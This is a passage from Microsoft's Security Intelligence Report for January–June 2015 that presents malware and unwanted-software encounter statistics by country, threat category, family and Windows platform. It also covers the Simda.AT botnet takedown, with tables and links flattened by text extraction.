See Brantall, Rotbrow, and Filcout on page 60 for more information.
The Nordic countries, including Denmark, Finland, Iceland, Norway, and Sweden, have perennially been among the healthiest locations in the world with regard to malware exposure, as has Japan.
In 1H15, the infection and encounter rates for these locations were typically about half of the worldwide averages.
(
See the blog entry series Lessons from Least Infected Countries at blogs.technet.com/b/security/p/series- lessons-from-least-infected-countries.aspx for more information about locations that typically have low infection and encounter rates.)
All of these locations, even geographically- and culturally-distant Japan, had similar encounter and infection statistics in 1H15.
Unwanted software dominated encounters in each location, led by browser modifiers Win32/KipodToolsCby, Win32/CouponRuc, and Win32/AlterbookSP adware family Win32/SaverExtension and software bundler Win32/InstalleRex.
Infection rates trended up significantly in all five locations in 2Q15 because of removals of Win32/CompromisedCert, an advertising program pre- installed on some Lenovo laptops that installed a compromised trusted root certificate, and Win32/IeEnablerCby, a browser modifier that bypasses user 0 1 2 3 4 5 6 7 8 9 3Q14 4Q14 1Q15 2Q15 C o m p u te rs c le a n e d p e r 1, 0 0 0 s ca n n e d ( C C M ) Switzerland Norway Finland Japan Denmark Worldwide All five locations had similar encounter and infection statistics in 1H15.
http://blogs.technet.com/b/security/p/series-lessons-from-least-infected-countries.aspx http://blogs.technet.com/b/security/p/series-lessons-from-least-infected-countries.aspx https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/AlterbookSP https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CompromisedCert https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/IeEnablerCby 68 MALWARE AND UNWANTED SOFTWARE consent dialogs to install software without the users explicit permission.
See page 78 for more information about IeEnablerCby.
Threats that are particularly uncommon in these locations include Win32/Frethog, a game password stealer that is most prevalent in Asia Win32/Yeltminky, a worm that is most prevalent in the Middle East Win32/Gamarue, a worm that is prevalent in southeast Asia and the Middle East and Win32/Ramnit, a virus that is prevalent in southern and southeast Asia.
Microsoft and partners disrupt the Simda.
AT botnet On April 12, 2015, Interpol and the Dutch National High Tech Crime Unit (DNHTCU) announced the disruption of Backdoor:Win32/Simda.
AT, a significant malware threat affecting more than 770,000 devices in more than 190 countries and regions.
Win32/Simda is a family of threats that can provide an attacker with backdoor access to and control of an infected device.
They can then steal passwords and gather information about the device to send to the attacker.
The Simda.
AT variant first appeared in 2012, and is often downloaded to a vulnerable device by a drive-by download.
Aside from the information-stealing behavior common to Simda variants, Simda.
AT redirects search traffic from popular websites such as Bing, Google, and Facebook to its own domain, and can download other malware from a remote host.
Simda was the 55th most commonly encountered malware family worldwide in 1H15, with the overwhelming majority of encounters involving the Simda.
AT variant.
Figure 48.
Average number of Simda-infected devices connecting to the sinkhole each month, AprilJuly, 2015 https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Frethog https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Yeltminky http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Gamarue https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ramnit http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?NameBackdoor:Win32/Simda.AT https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Simda MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   69 Interpol coordinated the operation and the DNHTCU, with the support of the Federal Bureau of Investigation (FBI), successfully took down Simda.
ATs active command and control infrastructure across four countries including the Netherlands, Luxembourg, Russia, and the United States.
The Microsoft Malware Protection Center (MMPC) and the Microsoft Digital Crimes Unit (DCU) led the analysis of the malware threat in partnership with CDI Japan, Kaspersky Lab, and Trend Micro.
The MMPC activated the Coordinated Malware Eradication (CME) platform to provide in-depth research, telemetry, samples, and cleaning solutions to law enforcement and Microsoft partners.
This information helped law enforcement take action against Simda.
AT and its infrastructure, while providing remediation and recovery options for infected devices around the world.
For more information about the takedown and technical information about the Simda.
AT backdoor, see the entry Microsoft partners with Interpol, industry to disrupt global malware attack affecting more than 770,000 PCs in past six months (April 12, 2015) on the MMPC blog at blogs.technet.com/mmpc.
Threat categories The MMPC classifies individual threats into types based on a number of factors, including how the threat spreads and what it is designed to do.
To simplify the presentation of this information and make it easier to understand, the Microsoft Security Intelligence Report groups these types into categories based on similarities in function and purpose.
http://blogs.technet.com/b/mmpc/archive/2014/01/27/industry-needs-to-work-together-to-eradicate-malware.aspx http://blogs.technet.com/b/mmpc/archive/2015/04/12/microsoft-partners-with-interpol-industry-to-disrupt-global-malware-attack-affecting-more-than-770-000-pcs-in-past-six-months-39-simda-at-39-designed-to-divert-internet-traffic-to-disseminate-other-types-of-malware.aspx http://blogs.technet.com/b/mmpc/archive/2015/04/12/microsoft-partners-with-interpol-industry-to-disrupt-global-malware-attack-affecting-more-than-770-000-pcs-in-past-six-months-39-simda-at-39-designed-to-divert-internet-traffic-to-disseminate-other-types-of-malware.aspx http://blogs.technet.com/b/mmpc/archive/2015/04/12/microsoft-partners-with-interpol-industry-to-disrupt-global-malware-attack-affecting-more-than-770-000-pcs-in-past-six-months-39-simda-at-39-designed-to-divert-internet-traffic-to-disseminate-other-types-of-malware.aspx 70 MALWARE AND UNWANTED SOFTWARE Figure 49.
Encounter rates for significant malware categories, 3Q142Q15 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
The number of encounters for most categories of malware remained stable or decreased throughout the first half of 2015, with the exception of Trojans, which increased to 4.5 percent in 2Q15 after dipping slightly in the first quarter.
Encounters with the three most commonly detected trojan families, Win32/Peals, Win32/Kilim, and Win32/Skeeyah, all increased significantly in 2Q15, contributing to the overall increase, which was partly ameliorated by the disruption of the Win32/Ramnit family.
See Threat families beginning on page 74 for more information about these and other malware and unwanted software families.
0 1 2 3 4 5 6 7 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Trojans Downloaders Droppers Password Stealers Monitoring Tools Worms Obfuscators Injectors Exploits Viruses Backdoors Ransomware Other Malware http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Kilim http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Skeeyah https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ramnit MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   71 Figure 50.
Encounter rates for unwanted software categories, 3Q142Q15 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Encounters involving browser modifiers more than doubled between 1Q15 and 2Q15 because of changes to Microsoft detection criteria for unwanted software.
In January, Microsoft security products began detecting as unwanted software browser add-ons that limit user control over their browser in a number of ways, including disabling certain browser controls, limiting the users ability to choose their default search provider, and bypassing consent dialogs for newly installed add-ons.
See Threat families beginning on page 74 for more information about this change.
Encounters involving adware increased from 2.5 percent in 4Q14 to 3.7 percent in 1Q15, then fell to 1.6 percent.
Much of the increase and subsequent decrease was related to Win32/SaverExtension, a browser add-on that shows ads in the browser without revealing their source, and prevents itself from being removed normally.
0 1 2 3 4 5 6 7 8 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Adware Software Bundlers Browser Modifiers Encounters involv- ing browser modi- fiers more than doubled because of changes to detection criteria.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension 72 MALWARE AND UNWANTED SOFTWARE Figure 51.
SaverExtension prevents itself from being removed Detections of software bundlers increased slightly in 1Q15 because of Win32/InstalleRex, a software bundler that installs other unwanted software families.
Threat categories by location Significant differences exist in the types of threats that affect users in different parts of the world.
The spread of malware can be highly dependent on language and socioeconomic factors as well as on the methods used for distribution.
Some threats are spread using techniques that target people who speak a particular language or who use online services that are local to a specific geographic region.
Other threats target vulnerabilities or operating system configurations and applications that are unequally distributed around the world.
Figure 52 shows the relative prevalence of different categories of malware in several locations around the world in 2Q15.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   73 Figure 52.
Threat category prevalence worldwide and in the 10 locations with the most computers reporting encounters in 2Q15 Category W or ld w id e U ni te d St at es B ra zi l R us si a In di a Fr an ce Tu rk ey Ch in a U ni te d K in gd om M ex ic o Ca na da Browser Modifiers 5.6 9.1 11.6 7.0 22.3 14.2 16.5 0.6 10.8 13.9 11.2 Trojans 4.5 4.2 12.6 20.6 17.9 5.7 25.9 10.2 4.4 9.0 5.1 Worms 2.9 0.6 8.8 4.5 31.2 1.9 17.2 5.6 0.8 20.8 0.6 Adware 1.6 4.5 7.0 5.1 8.2 7.7 9.6 0.2 4.7 6.3 5.3 Obfuscators  Injectors 1.5 1.0 5.3 7.3 8.5 1.9 7.7 4.9 1.7 3.1 1.6 Software Bundlers 1.5 1.7 1.5 0.5 5.2 2.2 3.5 0.2 2.3 2.9 2.5 Exploits 1.5 3.4 2.4 1.3 4.7 2.5 4.5 1.7 4.4 2.9 5.6 Downloaders Droppers 1.2 2.3 6.4 6.6 4.2 2.7 3.6 3.2 3.1 2.0 3.3 Viruses 1.0 0.4 2.2 1.5 8.2 0.4 6.6 7.4 0.3 1.2 0.4 Backdoors 0.6 0.7 1.4 2.0 3.5 0.9 3.2 1.8 0.9 1.5 0.7 Other Malware 0.4 0.9 0.3 0.3 1.7 0.5 1.4 1.3 0.6 0.6 1.5 Password Stealers Monitoring Tools 0.2 0.4 1.0 0.8 0.8 0.3 1.0 0.5 0.4 0.5 0.6 Ransomware 0.2 0.6 0.5 0.6 0.1 0.7 0.6 0.0 0.4 0.8 0.7 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Within each row of Figure 52, a darker color indicates that the category is more prevalent in the specified location than in the others and a lighter color indicates that the category is less prevalent.
As in Figure 42 on page 61, the locations in the table are ordered by number of computers reporting detections in 1H15.
India experienced higher encounter rates for Backdoors, Browser Modifiers, Obfuscators  Injectors, Other Malware, Software Bundlers, Viruses, and Worms than the other locations in Figure 52.
Turkey had the highest encounter rate for Trojans, led by Win32/Peals and Win32/Kilim, and Adware, led by Win32/SaverExtension.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals http://blogs.technet.com/b/mmpc/archive/2011/10/25/get-gamed-and-rue-the-day.aspx?queryWin32/Kilim http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension 74 MALWARE AND UNWANTED SOFTWARE Canada had the highest encounter rate for Exploits, led by JS/Axpergle, a detection for the Sweet Orange exploit kit.
See Exploit kits on page 44 for more information.
Axpergle encounters also contributed to relatively high encounter rates for Exploits in the United States and United Kingdom.
Russia had the highest encounter rate for Downloaders  Droppers, led by Win32/Ogimant.
Brazil also had a high Downloaders Droppers encounter rate, led by Win32/Banload.
(
See Win32/Banload and Banking Malware on page 21 for more information about Banload in Brazil.)
Though relatively quite rare overall, ransomware was unusually prevalent in North America and Europe, led by Win32/Crowti, JS/Krypterade, and Win32/Reveton.
Mexico had a relatively high encounter rate for Worms, led by Win32/Bondat and VBS/Jenxcus.
Computers in Mexico accounted for nearly a third of Bondat encounters worldwide in 1H15.
Computers in France had a relatively high encounter rate for Adware, led by Win32/SaverExtension and Win32/EoRezo.
China had a relatively high encounter rate for Viruses, led by DOS/JackTheRipper.
See Appendix C: Worldwide encounter and infection rates on page 127 for more information about malware around the world.
Also, see Linking Cybersecurity Policy and Performance at aka.ms/securityatlas for an in-depth examination of the socioeconomic factors that correlate with high infection rates in different parts of the world.
Threat families Figure 53 and Figure 54 show trends for the top malware families that were detected on computers by Microsoft real-time antimalware products worldwide in 1H15.
India experienced higher encounter rates for Back- doors, Browser Modifiers, Obfus- cators  Injectors, Other Malware, Software Bundlers, Viruses, and Worms than the other locations.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ogimant http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Banload http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Crowti http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Krypterade http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Reveton http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Bondat http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/EoRezo http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryDOS/JackTheRipper http://aka.ms/securityatlas MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   75 Figure 53.
Quarterly trends for the top 10 malware families encountered by Microsoft real-time antimalware products in 1H15, shaded according to relative encounter rate Rank Family Most significant category 3Q14 4Q14 1Q15 2Q15 1 Win32/Obfuscator  Obfuscators  Injectors 1.12 1.08 1.04 1.08 2 VBS/Jenxcus  Worms 1.46 1.23 0.92 0.76 3 Win32/Gamarue  Worms 0.93 1.00 0.83 0.75 4 JS/Axpergle  Exploits 0.87 0.86 0.85 0.64 5 INF/Autorun  Obfuscators  Injectors 1.01 1.07 0.89 0.57 6 Win32/Peals  Trojans  0.09 0.46 0.70 7 Win32/Kilim  Trojans 0.24 0.06 0.35 0.71 8 Win32/Skeeyah  Trojans   0.10 0.70 9 Win32/Ramnit  Viruses 0.47 0.46 0.43 0.33 10 Win32/Sality  Viruses 0.48 0.47 0.42 0.35 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Figure 54.
Encounter rate trends for a number of notable malware families in 1H15 Win32/Obfuscator, the most commonly encountered threat in 1H15, is a generic detection for programs that have been modified by malware obfuscation tools.
These tools typically use a combination of methods, including encryption, compression, and anti-debugging or anti-emulation techniques, to alter malware programs in an effort to hinder analysis or detection by security products.
The output is usually another program that 0.0 0.2 0.4 0.6 0.8 1.0 1.2 1.4 1.6 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Win32/Gamarue JS/Axpergle VBS/Jenxcus INF/Autorun Win32/Obfuscator JS/Kilim Win32/Peals Win32/Skeeyah http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Gamarue http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Kilim http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Skeeyah http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ramnit http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Sality https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator 76 MALWARE AND UNWANTED SOFTWARE keeps the same functionality as the original program but with different code, data, and geometry.
Encounters involving VBS/Jenxcus declined steadily over the past four quarters, but it remained the second-most commonly encountered family in 1H15.
Jenxcus is a worm coded in VBScript that opens a backdoor on an infected computer, enabling an attacker to control it remotely.
In addition to spreading via removable drives, Jenxcus was often transmitted via a fake Adobe Flash Player update from spoofed YouTube webpages.
Encounters involving Jenxcus decreased significantly after the Microsoft Digital Crimes Unit launched a takedown operation in June of 2014 that successfully disrupted the Jenxcus botnet.
The original owners of the botnet subsequently left the project, but the Jenxcus code is now being used by other criminal organizations.
See The Microsoft DCU and the legal side of fighting malware on pages 2932 of Microsoft Security Intelligence Report, Volume 17 (JanuaryJune 2014), available from the Microsoft Download Center, for more information about the Microsoft takedown of the Jenxcus botnet.
For additional technical information about Jenxcus, see the following entries in the MMPC blog (blogs.technet.com/mmpc): MSRT February 2014  Jenxcus (February 11, 2014) Microsoft Digital Crimes Unit disrupts Jenxcus and Bladabindi malware families (June 30, 2014) Win32/Gamarue, the third most commonly encountered threat in 1H15, was especially prevalent in southeast Asia and the Middle East.
Gamarue is commonly distributed via exploit kits and social engineering.
Variants have been observed stealing information from the local computer and communicating with command-and-control (CC) servers managed by attackers.
For more information about Gamarue, see the following entries in the MMPC blog at blogs.technet.com/mmpc: Get gamed and rue the day (October 25, 2011) The strange case of Gamarue propagation (February 27, 2013) Win32/Kilim is a family of trojans that makes money for the attacker by generating fake likes and shares on Facebook.
Prior to 2015, Kilim Win32/Gamarue, the third most commonly en- countered threat in 1H15, was espe- cially prevalent in southeast Asia and the Middle East.
https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/download/details.aspx?id44937 http://www.microsoft.com/download/details.aspx?id44937 http://blogs.technet.com/b/mmpc/archive/2014/02/11/msrt-february-2014-jenxcus.aspx http://blogs.technet.com/b/mmpc/archive/2014/06/30/microsoft-digital-crimes-unit-disrupts-jenxcus-and-bladabindi-malware-families.aspx http://blogs.technet.com/b/mmpc/archive/2014/06/30/microsoft-digital-crimes-unit-disrupts-jenxcus-and-bladabindi-malware-families.aspx https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Gamarue http://www.bing.com/ http://blogs.technet.com/b/mmpc/archive/2013/02/27/the-strange-case-of-gamarue-propagation.aspx https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Kilim MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   77 encounters were heavily concentrated in Turkey, and were rare elsewhere.
Since then, encounters have increased tenfold from 4Q14 levels, with most of the increase occurring outside Turkey.
Encounters involving two newly designated generic detections, Win32/Peals and Win32/Skeeyah, increased rapidly to account for a significant share of encounters worldwide by 2Q15.
JS/Axpergle, a detection for the Angler exploit kit, is the only exploit-related family in the top ten in 1H15.
See Exploit families on page 42 for more information about Axpergle and other exploit kits.
The encounter rate for Win32/Ramnit decreased from 0.52 percent in 1Q15 to 0.40 percent in 2Q15 following its disruption in February by the European Cybercrime Center (EC3) with the assistance of the MMPC.
For more information, see the entry Microsoft Malware Protection Center assists in disrupting Ramnit (February 25, 2015) on the MMPC blog at blogs.technet.com/mmpc.
Families that dropped out of the list of the most commonly encountered malware families between 2H14 and 1H15 include the downloader families Win32/Tugspay and Win32/Ogimant and the exploit kit family Win32/Anogre.
Figure 55 and Figure 56 show trends for the top unwanted software families that were detected on computers by Microsoft real-time antimalware products worldwide in 1H15.
Figure 55.
Quarterly trends for the top five unwanted software families encountered by Microsoft real-time antimalware products in 1H15, shaded according to relative encounter rate Family Most Significant Category 3Q14 4Q14 1Q15 2Q15 1 Win32/KipodToolsCby  Browser Modifiers   3.22 2.03 2 Win32/CouponRuc  Browser Modifiers  1.80 2.39 2.50 3 Win32/SaverExtension  Adware   2.83 0.83 4 Win32/IeEnablerCby  Browser Modifiers   1.67 0.11 5 Win32/InstalleRex  Software Bundlers   0.00 1.34 https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Skeeyah https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ramnit http://blogs.technet.com/b/mmpc/archive/2015/02/25/microsoft-malware-protection-center-assists-in-disrupting-ramnit.aspx http://blogs.technet.com/b/mmpc/archive/2015/02/25/microsoft-malware-protection-center-assists-in-disrupting-ramnit.aspx https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Tugspay https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Ogimant https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Anogre http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/IeEnablerCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex 78 MALWARE AND UNWANTED SOFTWARE Figure 56.
Encounter rate trends for the top unwanted software families in 1H15 All of the five most commonly encountered unwanted software families in 1H15 were first detected in 4Q14 or 1Q15.
Win32/KipodToolsCby and Win32/IeEnablerCby are browser modifiers that bypass user consent dialogs to install software without the users explicit permission.
Microsoft security products started detecting these browser modifiers in January after Microsoft changed its unwanted software detection criteria to include attempts to bypass user consent for actions such as installing new browser add-ons.
KipodToolsCby and IeEnablerCby were both encountered at high levels in 1Q15 as Microsoft security products detected and removed large numbers of installations from previous periods.
Encounters subsequently decreased significantly in 2Q15, following the removal of these older installations.
Figure 57.
An add-on consent dialog bar from Internet Explorer 11.
Add-ons that disable consent dialogs are now detected as unwanted software.
For more information about this change and its ramifications, see the following entries on the MMPC blog at blogs.technet.com/mmpc: Staying in control of your browser: New detection changes (October 17, 2014) 0.0 0.5 1.0 1.5 2.0 2.5 3.0 3.5 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Win32/CouponRuc Win32/KipodToolsCby Win32/InstalleRex Win32/SaverExtension Win32/IeEnablerCby https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/IeEnablerCby http://blogs.technet.com/b/mmpc/archive/2014/10/17/staying-in-control-of-your-browser-new-detection-changes.aspx MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   79 A timeline of consent and control (December 11, 2014) Win32/CouponRuc is an adware program that installs a browser extension without user consent.
It can prevent the user from removing it or other add-ons normally, or changing other browser settings.
Win32/SaverExtension is an adware program that displays advertisements on webpages without identifying itself as the source, which is a violation of Microsofts objective criteria for classifying unwanted software.20 It can also install additional browser extensions that the user cannot remove normally.
Win32/InstalleRex is a software bundler that installs unwanted software, including CouponRuc and SaverExtension.
It can be installed by third-party software bundlers.
When it installs itself, it alters its own Installed On date in Programs and Features to be a year older than the actual date of installation, so that a user who tries to remove it by looking at recently installed programs might have difficulty identifying it.
Threat families by platform Malware does not affect all platforms equally.
Some threats are spread by exploits that are ineffective against one or more operating system versions.
Some threats are more common in parts of the world where specific platforms are more or less popular than elsewhere.
In other cases, differences between platforms might be caused by simple random variation.
As Figure 58 demonstrates, the threats encountered by client and server platforms tend to be quite different.
20 Microsoft has published the criteria that the company uses to classify programs as unwanted software at www.microsoft.com/security/portal/mmpc/shared/objectivecriteria.aspx.
For programs that have been classified as unwanted software, Microsoft provides a dispute resolution process to allow for reporting of potential false positives and to provide software vendors with the opportunity to request investigation of a rating with which they do not agree.
KipodToolsCby and IeEnablerCby are browser modi- fiers that bypass user consent dialogs to install software without the users explicit permission.
http://blogs.technet.com/b/mmpc/archive/2014/12/11/a-timeline-of-consent-and-control.aspx https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex http://www.microsoft.com/security/portal/mmpc/shared/objectivecriteria.aspx 80 MALWARE AND UNWANTED SOFTWARE Figure 58.
The malware and unwanted software families most commonly encountered on supported Windows client and server platforms in 2Q15 Client family Most significant category 2Q15 Server family Most significant category 2Q15 1 Win32/CouponRuc  Browser Modifiers 2.56 Win32/Peals  Trojans 0.40 2 Win32/KipodToolsCby  Browser Modifiers 2.03 Win32/KipodToolsCby  Browser Modifiers 0.38 3 Win32/InstalleRex  Software Bundlers 1.41 Win32/Crowti  Ransomware 0.33 4 Win32/Obfuscator  Obfuscators  Injectors 1.11 Win32/Conficker  Worms 0.32 5 Win32/AlterbookSP  Browser Modifiers 0.85 Win32/AlterbookSP  Browser Modifiers 0.28 6 Win32/SaverExtension  Adware 0.85 Win32/Sality  Viruses 0.28 7 Win32/Kilim  Trojans 0.71 Win32/Skeeyah  Trojans 0.27 8 VBS/Jenxcus  Worms 0.71 Win32/Obfuscator  Obfuscators  Injectors 0.24 9 Win32/Gamarue  Worms 0.71 INF/Autorun  Obfuscators  Injectors 0.23 10 Win32/Skeeyah  Trojans 0.70 JS/Axpergle  Exploits 0.22 Figures do not include Brantall, Rotbrow, and Filcout.
See Brantall, Rotbrow, and Filcout on page 60 for more information.
Unwanted software was encountered significantly more often on client platforms than on server platforms.
Five of the top ten families encountered by client versions of Windows in 1Q15Win32/CouponRuc, Win32/KipodToolsCby, Win32/InstalleRex, Win32/AlterbookSP, and Win32/SaverExtensionwere unwanted software families, compared to just two (KipodToolsCby and AlterbookSP) of the top ten families encountered on servers.
The discrepancy reflects the very different ways servers are used to access the Internet, enforced by features such as Enhanced Security Configuration in Internet Explorer.
PHP/SimpleShell was only the 515th most prevalent family overall in 2Q15, but ranked 13th on server platforms.
When installed on a compromised web server, it creates a webpage that an attacker can use to run shell commands on the server.
A number of popular content management systems (CMSes) are written in the PHP scripting language, including WordPress, Drupal, and MediaWiki, and attackers often use PHP-based malware to compromise vulnerable servers for purposes such as sending spam and hosting exploit kit landing pages.
Figure 59 and Figure 60 demonstrate how detections of the most prevalent malware and unwanted software families in 2Q15 ranked differently on different operating system/service pack combinations.
Attackers often use PHP-based malware to compromise vulnerable servers.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Peals http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Crowti http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Conficker http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/AlterbookSP http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/AlterbookSP http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Sality http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Kilim http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Skeeyah http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryVBS/Jenxcus http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Obfuscator http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Gamarue http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Skeeyah http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CouponRuc http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/KipodToolsCby http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/InstalleRex http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/AlterbookSP http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/SaverExtension http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryPHP/SimpleShell MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   81 Figure 59.
The malware families most commonly encountered by Microsoft real-time antimalware solutions in 2Q15, and how they ranked in prevalence on different platforms Rank 2Q15 Family Most significant category Rank (Windows Vista SP2) Rank Windows 7 SP1) Rank (Windows 8 RTM) Rank (Windows 8.1 RTM) 1 Win32/Obfuscator  Obfuscators  Injectors 2 2 3 1 2 VBS/Jenxcus  Worms 11 5 1 4 3 Win32/Gamarue  Worms 9 6 2 3 4 Win32/Kilim  Trojans 3 3 7 5 5 Win32/Skeeyah  Trojans 4 7 5 2 6 Win32/Peals  Trojans 1 4 6 7 7 JS/Axpergle  Exploits 82 1 340 130 8 INF/Autorun  Obfuscators  Injectors 8 8 4 6 9 Win32/Sality  Viruses 48 9 10 8 10 Win32/Ramnit  Trojans 45 13 9 9 Figures do not include Brantall, Rotbrow, and Filcout.
